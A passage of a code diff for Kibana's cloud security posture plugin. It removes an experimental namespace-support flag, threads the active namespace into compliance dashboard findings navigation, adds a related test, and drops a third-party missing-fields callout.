=> { - navToFindings({ 'rule.benchmark.id': cisBenchmark }, [ - FINDINGS_GROUPING_OPTIONS.ORCHESTRATOR_CLUSTER_ID, - ]); + navToFindings( + activeNamespace + ? { + [FINDINGS_FILTER_OPTIONS.NAMESPACE]: activeNamespace, + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: cisBenchmark, + } + : { [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: cisBenchmark }, + [FINDINGS_GROUPING_OPTIONS.ORCHESTRATOR_CLUSTER_ID] + ); }; const benchmarkElements = benchmarks.map((benchmark) => { diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/cloud_security_data_table/additional_controls.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/cloud_security_data_table/additional_controls.tsx index 856c2a5c91d75..2d1a46983a2d3 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/cloud_security_data_table/additional_controls.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/cloud_security_data_table/additional_controls.tsx @@ -62,7 +62,6 @@ export const AdditionalControls = ({ diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/csp_boxed_radio_group.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/csp_boxed_radio_group.tsx index 829d148097889..8975f3e967c5a 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/csp_boxed_radio_group.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/csp_boxed_radio_group.tsx @@ -64,14 +64,7 @@ export const RadioGroup = ({ > onChange(option.id)} iconType={option.icon} iconSide="right" @@ -88,10 +81,6 @@ export const RadioGroup = ({ margin-left: auto; } - &&, - &&:hover { - text-decoration: none; - } &:disabled { svg, img { diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.test.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.test.tsx index db91893030339..e62d8f26a2639 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.test.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.test.tsx @@ -76,14 +76,6 @@ jest.mock('@kbn/fleet-plugin/public/services/experimental_features'); const onChange = jest.fn(); -jest.mock('../../common/experimental_features_service', () => ({ - ExperimentalFeaturesService: { - get: jest.fn().mockReturnValue({ - cloudSecurityNamespaceSupportEnabled: true, - }), - }, -})); - const createReactQueryResponseWithRefetch = ( data: Parameters[0] ) => { diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.tsx index df8d63287f2f4..5b10e12d80569 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/policy_template_form.tsx @@ -56,7 +56,6 @@ import { type NewPackagePolicyPostureInput, hasErrors, POLICY_TEMPLATE_FORM_DTS, - POSTURE_NAMESPACE, getCloudDefaultAwsCredentialConfig, getCloudConnectorRemoteRoleTemplate, } from './utils'; @@ -76,7 +75,6 @@ import { SetupTechnologySelector } from './setup_technology_selector/setup_techn import { useSetupTechnology } from './setup_technology_selector/use_setup_technology'; import { AZURE_CREDENTIALS_TYPE } from './azure_credentials_form/azure_credentials_form'; import { useKibana } from '../../common/hooks/use_kibana'; -import { ExperimentalFeaturesService } from '../../common/experimental_features_service'; const DEFAULT_INPUT_TYPE = { kspm: CLOUDBEAT_VANILLA, @@ -547,28 +545,6 @@ const IntegrationSettings = ({ onChange, fields }: IntegrationInfoFieldsProps) =
    ); -const useEnsureDefaultNamespace = ({ - newPolicy, - input, - updatePolicy, - cloudSecurityNamespaceSupportEnabled, -}: { - newPolicy: NewPackagePolicy; - input: NewPackagePolicyPostureInput; - updatePolicy: (policy: NewPackagePolicy, isExtensionLoaded?: boolean) => void; - cloudSecurityNamespaceSupportEnabled: boolean; -}) => { - useEffect(() => { - // If the namespace support is enabled, we don't need to set the default namespace - if (cloudSecurityNamespaceSupportEnabled) return; - if (input.type.includes('vuln_mgmt')) return; - if (newPolicy.namespace === POSTURE_NAMESPACE) return; - - const policy = { ...getPosturePolicy(newPolicy, input.type), namespace: POSTURE_NAMESPACE }; - updatePolicy(policy); - }, [newPolicy, input, updatePolicy, cloudSecurityNamespaceSupportEnabled]); -}; - const usePolicyTemplateInitialName = ({ isEditPage, integration, @@ -714,10 +690,6 @@ export const CspPolicyTemplateForm = memo { - return ExperimentalFeaturesService.get().cloudSecurityNamespaceSupportEnabled; - }, []); - const shouldRenderAgentlessSelector = (!isEditPage && isAgentlessAvailable) || (isEditPage && isAgentlessEnabled); @@ -856,13 +828,6 @@ export const CspPolicyTemplateForm = memo {/* Namespace selector */} - {cloudSecurityNamespaceSupportEnabled && !input.type.includes('vuln_mgmt') && ( + {!input.type.includes('vuln_mgmt') && ( <> ({ - ExperimentalFeaturesService: { - get: jest.fn().mockReturnValue({ - cloudSecurityNamespaceSupportEnabled: true, - }), - }, -})); - describe('getPosturePolicy', () => { for (const [name, getPolicy, expectedVars] of [ ['cloudbeat/cis_aws', getMockPolicyAWS, { 'aws.credentials.type': { value: 'assume_role' } }], diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/utils.ts b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/utils.ts index d6c5425623ef2..596ebe2729fdd 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/utils.ts +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/components/fleet_extensions/utils.ts @@ -56,7 +56,6 @@ import { SUPPORTED_TEMPLATES_URL_FROM_PACKAGE_INFO_INPUT_VARS, } from '../../common/utils/get_template_url_package_info'; import { AWS_SINGLE_ACCOUNT } from './policy_template_form'; -import { ExperimentalFeaturesService } from '../../common/experimental_features_service'; // Posture policies only support the default namespace export const POSTURE_NAMESPACE = 'default'; @@ -169,9 +168,7 @@ export const getPosturePolicy = ( inputVars?: Record ): NewPackagePolicy => ({ ...newPolicy, - namespace: ExperimentalFeaturesService.get().cloudSecurityNamespaceSupportEnabled - ? newPolicy.namespace - : POSTURE_NAMESPACE, + namespace: newPolicy.namespace, // Enable new policy input and disable all others inputs: newPolicy.inputs.map((item) => getPostureInput(item, inputType, inputVars)), // Set hidden policy vars diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.test.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.test.tsx index 324f4f52e67f2..cfb639e69fa7b 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.test.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.test.tsx @@ -36,7 +36,6 @@ import { ComplianceDashboardDataV2 } from '../../../common/types_old'; import { cloudPosturePages } from '../../common/navigation/constants'; import { MemoryRouter } from 'react-router-dom'; import userEvent from '@testing-library/user-event'; -import { ExperimentalFeaturesService } from '../../common/experimental_features_service'; jest.mock('@kbn/cloud-security-posture/src/hooks/use_csp_setup_status_api'); jest.mock('../../common/api/use_stats_api'); @@ -45,12 +44,6 @@ jest.mock('../../common/hooks/use_is_subscription_status_valid'); jest.mock('../../common/navigation/use_navigate_to_cis_integration_policies'); jest.mock('../../common/navigation/use_csp_integration_link'); -// jest.mock('../../common/experimental_features_service', () => ({ -// ExperimentalFeaturesService: { -// get: jest.fn(() => ({ cloudSecurityNamespaceSupportEnabled: true })), -// }, -// })); - describe('', () => { beforeEach(() => { jest.resetAllMocks(); @@ -79,18 +72,6 @@ describe('', () => { status: 'success', }) ); - jest.mock('../../common/experimental_features_service', () => ({ - ExperimentalFeaturesService: { - get: jest.fn(() => ({ cloudSecurityNamespaceSupportEnabled: true })), - }, - })); - - jest.spyOn(ExperimentalFeaturesService, 'get').mockImplementation(() => { - return { - cloudSecurityNamespaceSupportEnabled: true, - cloudConnectorsEnabled: false, - }; - }); }); const ComplianceDashboardWithTestProviders = (route: string) => { diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.tsx index 02a4aaf4f12ef..3de4537166930 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/compliance_dashboard.tsx @@ -46,7 +46,6 @@ import { NO_FINDINGS_STATUS_REFRESH_INTERVAL_MS } from '../../common/constants'; import { useKibana } from '../../common/hooks/use_kibana'; import { NamespaceSelector } from '../../components/namespace_selector'; import { useActiveNamespace } from '../../common/hooks/use_active_namespace'; -import { ExperimentalFeaturesService } from '../../common/experimental_features_service'; const POSTURE_TYPE_CSPM = CSPM_POLICY_TEMPLATE; const POSTURE_TYPE_KSPM = KSPM_POLICY_TEMPLATE; @@ -131,11 +130,13 @@ const IntegrationPostureDashboard = ({ notInstalledConfig, isIntegrationInstalled, dashboardType, + activeNamespace, }: { complianceData: ComplianceDashboardDataV2 | undefined; notInstalledConfig: CspNoDataPageProps; isIntegrationInstalled?: boolean; dashboardType: PosturePolicyTemplate; + activeNamespace?: string; }) => { const noFindings = !complianceData || complianceData.stats.totalFindings === 0; @@ -183,9 +184,17 @@ const IntegrationPostureDashboard = ({ // there are findings, displays dashboard even if integration is not installed return ( <> - + - + ); @@ -244,7 +253,7 @@ const TabContent = ({ activeNamespace, }: { selectedPostureTypeTab: PosturePolicyTemplate; - activeNamespace: string; + activeNamespace?: string; }) => { const { data: getSetupStatus } = useCspSetupStatusApi({ refetchInterval: (data) => { @@ -310,6 +319,7 @@ const TabContent = ({ complianceData={getDashboardData.data} notInstalledConfig={getNotInstalledConfig(policyTemplate, integrationLink)} isIntegrationInstalled={setupStatus !== 'not-installed'} + activeNamespace={activeNamespace} /> @@ -319,6 +329,7 @@ const TabContent = ({ complianceData={getDashboardData.data} notInstalledConfig={getNotInstalledConfig(policyTemplate, integrationLink)} isIntegrationInstalled={setupStatus !== 'not-installed'} + activeNamespace={activeNamespace} /> @@ -328,9 +339,6 @@ const TabContent = ({ }; export const ComplianceDashboard = () => { - const cloudSecurityNamespaceSupportEnabled = useMemo(() => { - return ExperimentalFeaturesService.get().cloudSecurityNamespaceSupportEnabled; - }, []); const { data: getSetupStatus } = useCspSetupStatusApi(); const isCloudSecurityPostureInstalled = !!getSetupStatus?.installedPackageVersion; @@ -353,7 +361,7 @@ export const ComplianceDashboard = () => { }, [location.pathname]); const { activeNamespace, updateActiveNamespace } = useActiveNamespace({ - postureType: currentTabUrlState, + postureType: currentTabUrlState || POSTURE_TYPE_CSPM, }); const getCspmDashboardData = useCspmStatsApi( @@ -458,7 +466,7 @@ export const ComplianceDashboard = () => { // if there is more than one namespace, show the namespace selector in the header const rightSideItems = useMemo( () => - namespaces.length > 0 && cloudSecurityNamespaceSupportEnabled + namespaces.length > 0 ? [ { />, ] : [], - [ - namespaces, - cloudSecurityNamespaceSupportEnabled, - currentTabUrlState, - activeNamespace, - onActiveNamespaceChange, - ] + [namespaces, currentTabUrlState, activeNamespace, onActiveNamespaceChange] ); return ( diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.test.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.test.tsx new file mode 100644 index 0000000000000..28112e3e21868 --- /dev/null +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.test.tsx @@ -0,0 +1,47 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import React from 'react'; +import { render } from '@testing-library/react'; +import { TestProvider } from '../../../test/test_provider'; +import { BenchmarkDetailsBox } from './benchmark_details_box'; +import { getBenchmarkMockData } from '../mock'; +import { FINDINGS_FILTER_OPTIONS } from '../../../common/constants'; + +const mockNavToFindings = jest.fn(); +jest.mock('@kbn/cloud-security-posture/src/hooks/use_navigate_findings', () => ({ + useNavigateFindings: () => mockNavToFindings, +})); + +describe('BenchmarkDetailsBox', () => { + const renderBenchmarkDetails = () => + render( + + + + ); + + it('renders the component correctly', () => { + const { getByTestId } = renderBenchmarkDetails(); + expect(getByTestId('benchmark-asset-type')).toBeInTheDocument(); + }); + + it('calls the navigate function with correct parameters when a benchmark is clicked', () => { + const { getByTestId } = renderBenchmarkDetails(); + const benchmarkLink = getByTestId('benchmark-asset-type'); + benchmarkLink.click(); + + expect(mockNavToFindings).toHaveBeenCalledWith( + { + [FINDINGS_FILTER_OPTIONS.NAMESPACE]: 'test-namespace', + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: 'cis_aws', + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_VERSION]: '1.2.3', + }, + ['cloud.account.id'] + ); + }); +}); diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.tsx index 869b1473b443b..203c63d3be2a9 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmark_details_box.tsx @@ -23,23 +23,32 @@ import { getBenchmarkIdQuery } from './benchmarks_section'; import { BenchmarkData } from '../../../../common/types_old'; import { CISBenchmarkIcon } from '../../../components/cis_benchmark_icon'; import cisLogoIcon from '../../../assets/icons/cis_logo.svg'; - interface BenchmarkInfo { name: string; assetType: string; handleClick: () => void; } -export const BenchmarkDetailsBox = ({ benchmark }: { benchmark: BenchmarkData }) => { +export const BenchmarkDetailsBox = ({ + benchmark, + activeNamespace, +}: { + benchmark: BenchmarkData; + activeNamespace?: string; +}) => { const navToFindings = useNavigateFindings(); - const handleClickCloudProvider = () => - navToFindings(getBenchmarkIdQuery(benchmark), [FINDINGS_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID]); + const handleClickCloudProvider = () => { + navToFindings(getBenchmarkIdQuery(benchmark, activeNamespace), [ + FINDINGS_GROUPING_OPTIONS.CLOUD_ACCOUNT_ID, + ]); + }; - const handleClickCluster = () => - navToFindings(getBenchmarkIdQuery(benchmark), [ + const handleClickCluster = () => { + navToFindings(getBenchmarkIdQuery(benchmark, activeNamespace), [ FINDINGS_GROUPING_OPTIONS.ORCHESTRATOR_CLUSTER_ID, ]); + }; const getBenchmarkInfo = (benchmarkId: string, cloudAssetCount: number): BenchmarkInfo => { const benchmarks: Record = { diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.test.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.test.tsx index 486624caa0c12..ce439ed503c69 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.test.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.test.tsx @@ -17,13 +17,19 @@ import { DASHBOARD_TABLE_HEADER_SCORE_TEST_ID, } from '../test_subjects'; +const mockNavToFindings = jest.fn(); +jest.mock('@kbn/cloud-security-posture/src/hooks/use_navigate_findings', () => ({ + useNavigateFindings: () => mockNavToFindings, +})); + describe('', () => { - const renderBenchmarks = (alterMockData = {}) => + const renderBenchmarks = (alterMockData = {}, namespace?: string) => render( ); diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.tsx index f4cc7a5ba0028..b3883a3af9c3f 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/compliance_dashboard/dashboard_sections/benchmarks_section.tsx @@ -25,6 +25,7 @@ import { RULE_FAILED, RULE_PASSED } from '../../../../common/constants'; import { LOCAL_STORAGE_DASHBOARD_BENCHMARK_SORT_KEY, FINDINGS_GROUPING_OPTIONS, + FINDINGS_FILTER_OPTIONS, } from '../../../common/constants'; import { dashboardColumnsGrow, getPolicyTemplateQuery } from './summary_section'; import { @@ -35,19 +36,30 @@ import { ComplianceScoreChart } from '../compliance_charts/compliance_score_char import { BenchmarkDetailsBox } from './benchmark_details_box'; const BENCHMARK_DEFAULT_SORT_ORDER = 'asc'; -export const getBenchmarkIdQuery = (benchmark: BenchmarkData): NavFilter => { - return { - 'rule.benchmark.id': benchmark.meta.benchmarkId, - 'rule.benchmark.version': benchmark.meta.benchmarkVersion, - }; +export const getBenchmarkIdQuery = ( + benchmark: BenchmarkData, + activeNamespace?: string +): NavFilter => { + return activeNamespace + ? { + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: benchmark.meta.benchmarkId, + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_VERSION]: benchmark.meta.benchmarkVersion, + [FINDINGS_FILTER_OPTIONS.NAMESPACE]: activeNamespace, + } + : { + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_ID]: benchmark.meta.benchmarkId, + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_VERSION]: benchmark.meta.benchmarkVersion, + }; }; export const BenchmarksSection = ({ complianceData, dashboardType, + activeNamespace, }: { complianceData: ComplianceDashboardDataV2; dashboardType: PosturePolicyTemplate; + activeNamespace?: string; }) => { const { euiTheme } = useEuiTheme(); const navToFindings = useNavigateFindings(); @@ -65,32 +77,30 @@ export const BenchmarksSection = ({ benchmark: BenchmarkData, evaluation: Evaluation, groupBy: string[] = [FINDINGS_GROUPING_OPTIONS.NONE] - ) => { + ) => navToFindings( { - ...getPolicyTemplateQuery(dashboardType), - ...getBenchmarkIdQuery(benchmark), - 'result.evaluation': evaluation, + ...getPolicyTemplateQuery(dashboardType, activeNamespace), + ...getBenchmarkIdQuery(benchmark, activeNamespace), + [FINDINGS_FILTER_OPTIONS.RESULT_EVALUATION]: evaluation, }, groupBy ); - }; const navToFailedFindingsByBenchmarkAndSection = ( benchmark: BenchmarkData, ruleSection: string, resultEvaluation: 'passed' | 'failed' = RULE_FAILED - ) => { + ) => navToFindings( { - ...getPolicyTemplateQuery(dashboardType), - ...getBenchmarkIdQuery(benchmark), - 'rule.section': ruleSection, - 'result.evaluation': resultEvaluation, + ...getPolicyTemplateQuery(dashboardType, activeNamespace), + ...getBenchmarkIdQuery(benchmark, activeNamespace), + [FINDINGS_FILTER_OPTIONS.RULE_SECTION]: ruleSection, + [FINDINGS_FILTER_OPTIONS.RESULT_EVALUATION]: resultEvaluation, }, [FINDINGS_GROUPING_OPTIONS.NONE] ); - }; const navToFailedFindingsByBenchmark = (benchmark: BenchmarkData) => { navToFindingsByBenchmarkAndEvaluation(benchmark, RULE_FAILED, [ @@ -175,7 +185,7 @@ export const BenchmarksSection = ({ `} > - + = { first: 3, @@ -40,16 +40,27 @@ export const dashboardColumnsGrow: Record = { third: 8, }; -export const getPolicyTemplateQuery = (policyTemplate: PosturePolicyTemplate): NavFilter => ({ - 'rule.benchmark.posture_type': policyTemplate, -}); +export const getPolicyTemplateQuery = ( + policyTemplate: PosturePolicyTemplate, + activeNamespace?: string +): NavFilter => + activeNamespace + ? { + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_POSTURE_TYPE]: policyTemplate, + [FINDINGS_FILTER_OPTIONS.NAMESPACE]: activeNamespace, + } + : { + [FINDINGS_FILTER_OPTIONS.RULE_BENCHMARK_POSTURE_TYPE]: policyTemplate, + }; export const SummarySection = ({ dashboardType, complianceData, + activeNamespace, }: { dashboardType: PosturePolicyTemplate; complianceData: ComplianceDashboardDataV2; + activeNamespace?: string; }) => { const navToFindings = useNavigateFindings(); const cspmIntegrationLink = useCspIntegrationLink(CSPM_POLICY_TEMPLATE); @@ -58,9 +69,13 @@ export const SummarySection = ({ const { euiTheme } = useEuiTheme(); const handleEvalCounterClick = (evaluation: Evaluation) => { - navToFindings({ 'result.evaluation': evaluation, ...getPolicyTemplateQuery(dashboardType) }, [ - FINDINGS_GROUPING_OPTIONS.NONE, - ]); + navToFindings( + { + 'result.evaluation': evaluation, + ...getPolicyTemplateQuery(dashboardType, activeNamespace), + }, + [FINDINGS_GROUPING_OPTIONS.NONE] + ); }; const handleCellClick = ( @@ -69,7 +84,7 @@ export const SummarySection = ({ ) => { navToFindings( { - ...getPolicyTemplateQuery(dashboardType), + ...getPolicyTemplateQuery(dashboardType, activeNamespace), 'rule.section': ruleSection, 'result.evaluation': resultEvaluation, }, @@ -78,9 +93,13 @@ export const SummarySection = ({ }; const handleViewAllClick = () => { - navToFindings({ 'result.evaluation': RULE_FAILED, ...getPolicyTemplateQuery(dashboardType) }, [ - FINDINGS_GROUPING_OPTIONS.RULE_SECTION, - ]); + navToFindings( + { + 'result.evaluation': RULE_FAILED, + ...getPolicyTemplateQuery(dashboardType, activeNamespace), + }, + [FINDINGS_GROUPING_OPTIONS.RULE_SECTION] + ); }; const counters: CspCounterCardProps[] = useMemo( @@ -97,7 +116,12 @@ export const SummarySection = ({ 'xpack.csp.dashboard.summarySection.counterCard.accountsEvaluatedDescription', { defaultMessage: 'Accounts Evaluated' } ), - title: , + title: ( + + ), button: ( { - navToFindings(getPolicyTemplateQuery(dashboardType), [ + navToFindings(getPolicyTemplateQuery(dashboardType, activeNamespace), [ FINDINGS_GROUPING_OPTIONS.RESOURCE_ID, ]); }} @@ -150,6 +174,7 @@ export const SummarySection = ({ dashboardType, kspmIntegrationLink, navToFindings, + activeNamespace, ] ); const chartTitle = i18n.translate( diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/configurations.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/configurations.tsx index 4cc5ea679ba80..de61a3a604292 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/configurations.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/configurations.tsx @@ -13,7 +13,6 @@ import { CDR_MISCONFIGURATIONS_DATA_VIEW_ID_PREFIX } from '@kbn/cloud-security-p import { findingsNavigation } from '@kbn/cloud-security-posture'; import { useDataView } from '@kbn/cloud-security-posture/src/hooks/use_data_view'; import { EuiSpacer } from '@elastic/eui'; -import { ThirdPartyIntegrationsCallout } from '../findings/third_party_integrations_callout'; import { NoFindingsStates } from '../../components/no_findings_states'; import { CloudPosturePage, defaultLoadingRenderer } from '../../components/cloud_posture_page'; import { cloudPosturePages } from '../../common/navigation/constants'; @@ -48,7 +47,6 @@ export const Configurations = () => { return ( - ', () => { }); }); - it('displays missing info callout when data source is not CSP', () => { - (useMisconfigurationFinding as jest.Mock).mockReturnValue({ - data: { result: { hits: [{ _source: mockWizFinding }] } }, - }); - const { getByText } = render(); - getByText('Some fields not provided by Wiz'); - }); - it('does not display missing info callout when data source is CSP', () => { (useMisconfigurationFinding as jest.Mock).mockReturnValue({ data: { result: { hits: [{ _source: mockFindingsHit }] } }, diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_flyout.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_flyout.tsx index 8e1c54c9eca90..2177730bbcae3 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_flyout.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_flyout.tsx @@ -7,7 +7,6 @@ import React from 'react'; import { - useEuiTheme, EuiFlexItem, EuiFlexGroup, PropsOf, @@ -15,18 +14,14 @@ import { EuiMarkdownFormat, EuiIcon, EuiToolTip, - EuiCallOut, EuiLink, EuiIconProps, } from '@elastic/eui'; -import { FormattedMessage } from '@kbn/i18n-react'; import { i18n } from '@kbn/i18n'; import type { HttpSetup } from '@kbn/core/public'; import { createMisconfigurationFindingsQuery } from '@kbn/cloud-security-posture'; -import type { CspFinding, BenchmarkId } from '@kbn/cloud-security-posture-common'; +import type { BenchmarkId } from '@kbn/cloud-security-posture-common'; import { BenchmarkName } from '@kbn/cloud-security-posture-common'; -import { CspVulnerabilityFinding } from '@kbn/cloud-security-posture-common/schema/vulnerabilities/csp_vulnerability_finding'; -import { getVendorName } from '@kbn/cloud-security-posture/src/utils/get_vendor_name'; import { useMisconfigurationFinding } from '@kbn/cloud-security-posture/src/hooks/use_misconfiguration_finding'; import { createDetectionRuleFromBenchmarkRule } from '@kbn/cloud-security-posture/src/utils/create_detection_rule_from_benchmark'; import cisLogoIcon from '../../../assets/icons/cis_logo.svg'; @@ -87,37 +82,6 @@ export const RuleNameLink = ({ ); }; -export const MissingFieldsCallout = ({ - finding, -}: { - finding: CspFinding | CspVulnerabilityFinding; -}) => { - const { euiTheme } = useEuiTheme(); - const vendor = getVendorName(finding); - - return ( - - - - } - /> - ); -}; - const FindingsRuleFlyout = ({ ruleId, resourceId, diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_right/content.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_right/content.tsx index 11fd2d85af499..5b30192b32155 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_right/content.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/findings_right/content.tsx @@ -7,66 +7,20 @@ import React, { useState } from 'react'; import { css } from '@emotion/react'; -import { - EuiPanel, - EuiTabs, - EuiTab, - EuiCallOut, - useEuiTheme, - EuiFlexGroup, - EuiFlyoutBody, -} from '@elastic/eui'; -import { - CSP_MISCONFIGURATIONS_DATASET, - CspFinding, - CspVulnerabilityFinding, -} from '@kbn/cloud-security-posture-common'; +import { EuiPanel, EuiTabs, EuiTab, EuiFlexGroup, EuiFlyoutBody } from '@elastic/eui'; +import { CSP_MISCONFIGURATIONS_DATASET, CspFinding } from '@kbn/cloud-security-posture-common'; import { generatePath } from 'react-router-dom'; import type { CoreStart } from '@kbn/core/public'; import { useKibana } from '@kbn/kibana-react-plugin/public'; import { benchmarksNavigation, type CspClientPluginStartDeps } from '@kbn/cloud-security-posture'; import { assertNever } from '@kbn/std'; import { i18n } from '@kbn/i18n'; -import { getVendorName } from '@kbn/cloud-security-posture/src/utils/get_vendor_name'; -import { isNativeCspFinding } from '@kbn/cloud-security-posture/src/utils/is_native_csp_finding'; -import { FormattedMessage } from '@kbn/i18n-react'; import { OverviewTab } from '../overview_tab'; import { JsonTab } from '../json_tab'; import { TableTab } from '../table_tab'; type FindingsTab = (typeof tabs)[number]; -export const MissingFieldsCallout = ({ - finding, -}: { - finding: CspFinding | CspVulnerabilityFinding; -}) => { - const { euiTheme } = useEuiTheme(); - const vendor = getVendorName(finding); - - return ( - - - - } - /> - ); -}; - const tabs = [ { id: 'overview', @@ -120,7 +74,6 @@ const FindingsTab = ({ tab, finding }: { finding: CspFinding; tab: FindingsTab } export const FindingsMisconfigurationFlyoutContent = ({ finding }: { finding: CspFinding }) => { const [tab, setTab] = useState(tabs[0]); - const { euiTheme } = useEuiTheme(); return ( <> @@ -145,11 +98,6 @@ export const FindingsMisconfigurationFlyoutContent = ({ finding }: { finding: Cs `} > - {!isNativeCspFinding(finding) && ['overview', 'rule'].includes(tab.id) && ( -
    - -
    - )}
    diff --git a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/overview_tab.tsx b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/overview_tab.tsx index 11b2162c1ebc8..d948860bfb7b3 100644 --- a/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/overview_tab.tsx +++ b/x-pack/solutions/security/plugins/cloud_security_posture/public/pages/configurations/findings_flyout/overview_tab.tsx @@ -18,9 +18,16 @@ import { EuiPanel, EuiSpacer, EuiText, + EuiTitle, + useEuiTheme, } from '@elastic/eui'; import React, { useMemo } from 'react'; -import type { EuiDescriptionListProps, EuiAccordionProps, EuiBasicTableColumn } from '@elastic/eui'; +import type { + EuiDescriptionListProps, + EuiAccordionProps, + EuiBasicTableColumn, + EuiThemeComputed, +} from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { CDR_MISCONFIGURATIONS_INDEX_PATTERN, @@ -82,9 +89,21 @@ const renderTableField = (value: string) => { return {EMPTY_VALUE}; } - return Array.isArray(value) ? ( - items={value} field="" object={{}} renderItem={renderValue} /> - ) : ( + if (Array.isArray(value)) { + return ( + + items={value} + field="" + object={{}} + renderItem={renderValue} + {...(value.length === 1 + ? { firstItemRenderer: (item) => } + : {})} + /> + ); + } + + return ( <> @@ -138,40 +157,74 @@ const getResourceList = (data: 